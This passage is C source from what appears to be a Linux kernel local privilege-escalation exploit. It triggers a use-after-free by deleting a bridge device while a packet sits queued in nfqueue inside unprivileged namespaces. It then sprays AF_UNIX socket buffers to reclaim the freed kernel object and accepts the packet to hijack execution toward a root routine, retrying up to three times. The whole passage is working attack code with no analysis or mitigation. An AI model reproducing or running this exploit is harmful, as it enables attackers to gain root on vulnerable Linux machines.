SOCK_DGRAM | SOCK_CLOEXEC, 0, spray_fds[i]) < 0) die("socketpair(AF_UNIX spray)"); (void)setsockopt(spray_fds[i][0], SOL_SOCKET, SO_SNDBUF, &sndbuf, sizeof(sndbuf)); (void)setsockopt(spray_fds[i][1], SOL_SOCKET, SO_RCVBUF, &sndbuf, sizeof(sndbuf)); for (int j = 0; j < UNIX_SPRAY_PER_PAIR; j++) { ssize_t sent = send(spray_fds[i][0], payload, UNIX_SPRAY_LEN, MSG_DONTWAIT); if (sent != UNIX_SPRAY_LEN) die("send(AF_UNIX spray)"); } } free(payload); printf("[+] sprayed %d fully controlled kmalloc-cg-8k skb heads\n", UNIX_SPRAY_PAIRS * UNIX_SPRAY_PER_PAIR); } static int worker_main(void) { setvbuf(stdout, NULL, _IONBF, 0); drop_to_nobody_if_root(); pin_cpu(0); resolve_kernel_addresses(); prepare_user_return(); known_page = known_page_anchor(build_known_page, &kernel_slide); enter_unprivileged_user_net_mount_namespaces(); int rtnlfd = open_netlink_route(); int delete_status = 0; uint32_t packet_id; pid_t delete_pid; /* Guard allocations reduce cross-page noise around the vulnerable * bridge object; only br0 is ever queued and freed. */ rtnl_new_bridge(rtnlfd, "_nebu0"); rtnl_new_bridge(rtnlfd, "_n0"); rtnl_new_bridge(rtnlfd, "_nebu2"); rtnl_new_bridge(rtnlfd, "_nebu3"); install_br_netfilter_autoload_rule_raw(); rtnl_set_bridge_nf_call_iptables(rtnlfd, "_n0"); rtnl_new_veth(rtnlfd, "_0", "_1"); rtnl_set_master(rtnlfd, "_0", "_n0"); rtnl_set_up(rtnlfd, "_n0"); rtnl_set_up(rtnlfd, "_0"); rtnl_set_up(rtnlfd, "_1"); close(rtnlfd); int nfqfd = open_and_bind_nfqueue(); install_bridge_queue_rule_raw(); print_relevant_modules(); usleep(200000); send_ipv4_frame(); packet_id = recv_packet_id(nfqfd); delete_pid = start_bridge_delete(); if (!wait_delete_bounded(delete_pid, &delete_status)) { fprintf(stderr, "bridge deletion blocked before reclaim\n"); return EXIT_FAILURE; } if (!WIFEXITED(delete_status) || WEXITSTATUS(delete_status)) { fprintf(stderr, "bridge deletion failed\n"); return EXIT_FAILURE; } puts("[+] bridge master freed while local-in packet remains queued"); spray_unix_skb_heads(); puts("[+] accepting queued packet into stale skb->dev"); send_verdict_accept(nfqfd, packet_id); /* Successful exploitation irets directly to post_root(). */ sleep(1); return EXIT_FAILURE; } int main(int argc, char **argv) { if (argc == 2 && !strcmp(argv[1], "--worker")) return worker_main(); setvbuf(stdout, NULL, _IONBF, 0); drop_to_nobody_if_root(); for (int attempt = 1; attempt <= 3; attempt++) { pid_t child = fork(); int status; if (child < 0) die("fork(worker)"); if (!child) { execl("/proc/self/exe", "exploit", "--worker", NULL); _exit(127); } while (waitpid(child, &status, 0) < 0) { if (errno != EINTR) die("waitpid(worker)"); } if (WIFEXITED(status) && WEXITSTATUS(status) == 0) return 0; fprintf(stderr, "[-] worker attempt %d failed, retrying\n", attempt); } return EXIT_FAILURE; }